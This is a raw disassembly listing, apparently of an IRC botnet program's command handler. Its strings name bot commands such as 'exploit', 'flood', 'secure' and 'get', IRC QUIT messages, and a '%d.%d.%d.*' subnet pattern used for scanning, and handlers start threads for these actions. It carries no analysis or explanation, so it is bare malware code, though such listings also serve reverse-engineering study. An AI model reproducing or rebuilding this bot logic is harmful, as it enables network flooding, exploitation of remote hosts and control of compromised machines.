		push	0Ah
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403FCC
		push	offset unk_42C2F4
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FCC:				; CODE XREF: sub_401ACD+24F3j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C65
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEB
		push	offset unk_42C2CC
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FEB:				; CODE XREF: sub_401ACD+2512j
		push	offset unk_42C2AC
		jmp	loc_409602
; ---------------------------------------------------------------------------


loc_403FF5:				; CODE XREF: sub_401ACD+18D0j
					; sub_401ACD+18E5j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CF
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400E:				; CODE XREF: sub_401ACD+18A6j
					; sub_401ACD+18BBj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C29
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402B:				; CODE XREF: sub_401ACD+187Cj
					; sub_401ACD+1891j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 26B07C3h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404054
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404054:				; CODE XREF: sub_401ACD+257Cj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406D
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409855


loc_40406D:				; CODE XREF: sub_401ACD+2595j
		push	ebx
		call	sub_41A88C
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C294
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD


loc_4040AB:				; CODE XREF: sub_401ACD+529Dj
		add	esp, 24h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4040B3:				; CODE XREF: sub_401ACD+1852j
					; sub_401ACD+1867j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A30
		add	esp, 0Ch
		push	offset dword_42C274
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_4040D1:				; CODE XREF: sub_401ACD+1828j
					; sub_401ACD+183Dj
		push	27h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_404105
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C254
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_4040FD:				; CODE XREF: sub_401ACD+7238j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404105:				; CODE XREF: sub_401ACD+260Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404166
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404166
		mov	[ebp+var_AA8], 1


loc_404166:				; CODE XREF: sub_401ACD+267Cj
					; sub_401ACD+268Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C230
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EC
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_4041D4


loc_4041BE:				; CODE XREF: sub_401ACD+2705j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409631
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_4041BE
; ---------------------------------------------------------------------------


loc_4041D4:				; CODE XREF: sub_401ACD+26EFj
		call	near ptr 26A08B1h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C1F4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409631
; ---------------------------------------------------------------------------


loc_4041F4:				; CODE XREF: sub_401ACD+17FEj
					; sub_401ACD+1813j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404213
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1D8
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404213:				; CODE XREF: sub_401ACD+272Aj
		push	[ebp+arg_4]
		call	dword_4CB6DC
		call	dword_4CB59C
		call	sub_41835A
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_40422E:				; CODE XREF: sub_401ACD+17D4j
					; sub_401ACD+17E9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA43
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1BC
		jmp	short loc_404286
; ---------------------------------------------------------------------------


loc_404259:				; CODE XREF: sub_401ACD+17AAj
					; sub_401ACD+17BFj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C1A0


loc_404286:				; CODE XREF: sub_401ACD+24E4j
					; sub_401ACD+278Aj
		call	sub_4151AD
		add	esp, 18h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_404293:				; CODE XREF: sub_401ACD+1780j
					; sub_401ACD+1795j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524D
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AC:				; CODE XREF: sub_401ACD+1756j
					; sub_401ACD+176Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EB
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EB
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EB
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EB:				; CODE XREF: sub_401ACD+27E8j
					; sub_401ACD+27F3j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C188
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset word_41528E
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_40438E


loc_404378:				; CODE XREF: sub_401ACD+28BFj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_404378
; ---------------------------------------------------------------------------


loc_40438E:				; CODE XREF: sub_401ACD+28A9j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42C150
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439F:				; CODE XREF: sub_401ACD+172Cj
					; sub_401ACD+1741j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415135
		push	offset dword_42C138
		call	sub_4151AD


loc_4043BA:				; CODE XREF: sub_401ACD+2454j
		add	esp, 10h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_4043C2:				; CODE XREF: sub_401ACD+1702j
					; sub_401ACD+1717j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441C
		push	offset dword_42C134
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404422
; ---------------------------------------------------------------------------


loc_40441C:				; CODE XREF: sub_401ACD+2933j
		mov	[ebp+var_B40], ebx


loc_404422:				; CODE XREF: sub_401ACD+294Dj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C114
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset word_40B162
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_404490


loc_40447A:				; CODE XREF: sub_401ACD+29C1j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406D00
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_40447A
; ---------------------------------------------------------------------------


loc_404490:				; CODE XREF: sub_401ACD+29ABj
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42C0D8
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_4044A1:				; CODE XREF: sub_401ACD+1686j
					; sub_401ACD+169Bj
		push	offset aQweti	; "qweti"
		push	offset dword_42C0C0


loc_4044AB:				; CODE XREF: sub_401ACD+2A1Dj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_4044D8:				; CODE XREF: sub_401ACD+165Cj
					; sub_401ACD+1671j
		push	dword_4CB384
		call	sub_41A88C
		pop	ecx
		push	eax
		push	offset unk_42C094
		jmp	short loc_4044AB
; ---------------------------------------------------------------------------


loc_4044EC:				; CODE XREF: sub_401ACD+1632j
					; sub_401ACD+1647j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451E
		cmp	[ebp+var_C], ebx
		jz	short loc_40452D
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452D
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		jmp	short loc_40452D
; ---------------------------------------------------------------------------


loc_40451E:				; CODE XREF: sub_401ACD+2A28j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		pop	ecx


loc_40452D:				; CODE XREF: sub_401ACD+2A2Dj
					; sub_401ACD+2A3Cj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404534:				; CODE XREF: sub_401ACD+1608j
					; sub_401ACD+161Dj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C044
		call	sub_4151AD
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404556:				; CODE XREF: sub_401ACD+15DEj
					; sub_401ACD+15F3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42C010
		call	sub_4151AD
		add	esp, 0Ch
		jmp	loc_4097BA
; ---------------------------------------------------------------------------


loc_404575:				; CODE XREF: sub_401ACD+15B4j
					; sub_401ACD+15C9j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DB
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_40458B:				; CODE XREF: sub_401ACD+158Aj
					; sub_401ACD+159Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B786
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1560j
					; sub_401ACD+1575j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B71A
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045B7:				; CODE XREF: sub_401ACD+1536j
					; sub_401ACD+154Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64B
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4045CD:				; CODE XREF: sub_401ACD+1491j
					; sub_401ACD+14A6j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42C000
		push	offset dword_42BFF0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045E5:				; CODE XREF: sub_401ACD+1467j
					; sub_401ACD+147Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BFE4
		push	offset dword_42BFD4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_4045FD:				; CODE XREF: sub_401ACD+1083j
					; sub_401ACD+1098j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461C
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404621
; ---------------------------------------------------------------------------


loc_40461C:				; CODE XREF: sub_401ACD+2B39j
					; sub_401ACD+2B44j
		mov	eax, dword_429074


loc_404621:				; CODE XREF: sub_401ACD+2B4Dj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404646
		push	esi


loc_404633:				; CODE XREF: sub_401ACD+2B88j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465D
; ---------------------------------------------------------------------------


loc_404646:				; CODE XREF: sub_401ACD+2B63j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404657
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404633
; ---------------------------------------------------------------------------


loc_404657:				; CODE XREF: sub_401ACD+2B7Fj
		mov	[ebp+var_5A0], bl


loc_40465D:				; CODE XREF: sub_401ACD+2B77j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BFAC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_4111CE
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_40470E


loc_4046F8:				; CODE XREF: sub_401ACD+2C3Fj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_4046F8
; ---------------------------------------------------------------------------


loc_40470E:				; CODE XREF: sub_401ACD+2C29j
		call	near ptr 26A08B1h
		nop
		push	eax
		push	offset dword_42BF70
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471F:				; CODE XREF: sub_401ACD+1019j
					; sub_401ACD+102Ej
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473F
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404745
; ---------------------------------------------------------------------------


loc_40473F:				; CODE XREF: sub_401ACD+2C5Bj
					; sub_401ACD+2C67j
		mov	ax, word_429084


loc_404745:				; CODE XREF: sub_401ACD+2C70j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF44
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A73
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F7
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40E504
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_404814


loc_4047FE:				; CODE XREF: sub_401ACD+2D45j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_4047FE
; ---------------------------------------------------------------------------


loc_404814:				; CODE XREF: sub_401ACD+2D2Fj
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42BF04
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404825:				; CODE XREF: sub_401ACD+FC5j
					; sub_401ACD+FDAj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484D
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404857


loc_40484D:				; CODE XREF: sub_401ACD+2D67j
		mov	[ebp+var_A10], 1


loc_404857:				; CODE XREF: sub_401ACD+2D7Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489E
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489E:				; CODE XREF: sub_401ACD+2DCAj
		push	eax
		push	offset dword_42BED0
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E1A
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_404912


loc_4048FC:				; CODE XREF: sub_401ACD+2E43j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_4048FC
; ---------------------------------------------------------------------------


loc_404912:				; CODE XREF: sub_401ACD+2E2Dj
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset dword_42BE94
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_404923:				; CODE XREF: sub_401ACD+F9Bj
					; sub_401ACD+FB0j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AF


loc_404934:				; CODE XREF: sub_401ACD+2AB9j
					; sub_401ACD+2ACFj ...
		add	esp, 0Ch
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_40493C:				; CODE XREF: sub_401ACD+F71j
					; sub_401ACD+F86j
		push	offset unk_42BDE4
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_404946:				; CODE XREF: sub_401ACD+F47j
					; sub_401ACD+F5Cj
		push	offset aAbosel7Vs ; "abosel7 vs"
		push	offset dword_42BDD4
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_404955:				; CODE XREF: sub_401ACD+F1Dj
					; sub_401ACD+F32j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AF
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A7
		cmp	eax, 3
		jge	short loc_4049A7
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499F
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0A8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_40499F:				; CODE XREF: sub_401ACD+2EB1j
		push	eax
		push	offset unk_42BDA8
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_401ACD+2E9Cj
					; sub_401ACD+2EA1j
		push	eax
		push	offset unk_42BD7C
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------


loc_4049AF:				; CODE XREF: sub_401ACD+2E91j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B4:				; CODE XREF: sub_401ACD+2F03j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D7
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B4
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_4049D7:				; CODE XREF: sub_401ACD+2EF7j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42D0A8


loc_4049EC:				; CODE XREF: sub_401ACD+2153j
					; sub_401ACD+2ED8j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_4049FD:				; CODE XREF: sub_401ACD+EF3j
					; sub_401ACD+F08j
		push	[ebp+var_8C]
		push	offset dword_42D01C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A6
		call	sub_40B2C0
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_404A23:				; CODE XREF: sub_401ACD+1A12j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB1
		cmp	dword_4CEDF8, ebx
		jz	short loc_404A4B
		push	offset dword_4CE7D8


loc_404A41:				; CODE XREF: sub_401ACD+2FE2j
		push	offset unk_42BD40
		jmp	loc_404AE1
; ---------------------------------------------------------------------------


loc_404A4B:				; CODE XREF: sub_401ACD+2F6Dj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	near ptr 71AB157Eh
		nop
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A41
; ---------------------------------------------------------------------------


loc_404AB1:				; CODE XREF: sub_401ACD+2F65j
		push	esi
		call	dword_4CB684
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC5
		push	offset unk_42BD00
		jmp	short loc_404AE1
; ---------------------------------------------------------------------------


loc_404AC5:				; CODE XREF: sub_401ACD+2FEFj
		push	offset dword_4CE7D8
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CEDF8, 1
		pop	ecx
		push	esi
		push	offset unk_42BCD4


loc_404AE1:				; CODE XREF: sub_401ACD+2F79j
					; sub_401ACD+2FF6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FE
; ---------------------------------------------------------------------------


loc_404AF5:				; CODE XREF: sub_401ACD+19FAj
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF8
		mov	eax, [ebp+var_4]
		mov	esi, offset aF	; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC9C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset word_40B8A2
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_13E8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	short loc_404BE7


loc_404BD1:				; CODE XREF: sub_401ACD+3118j
		cmp	[ebp+var_13DC],	ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2690F63h
		jmp	short loc_404BD1
; ---------------------------------------------------------------------------


loc_404BE7:				; CODE XREF: sub_401ACD+3102j
		nop
		call	near ptr 26A08B1h
		push	eax
		push	offset unk_42BC5C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_404BF8:				; CODE XREF: sub_401ACD+3037j
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aRin	; "rin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097C1
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409779
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41C070
		mov	edi, dword_427078
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057DF
		call	near ptr 26B07C3h
		nop
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
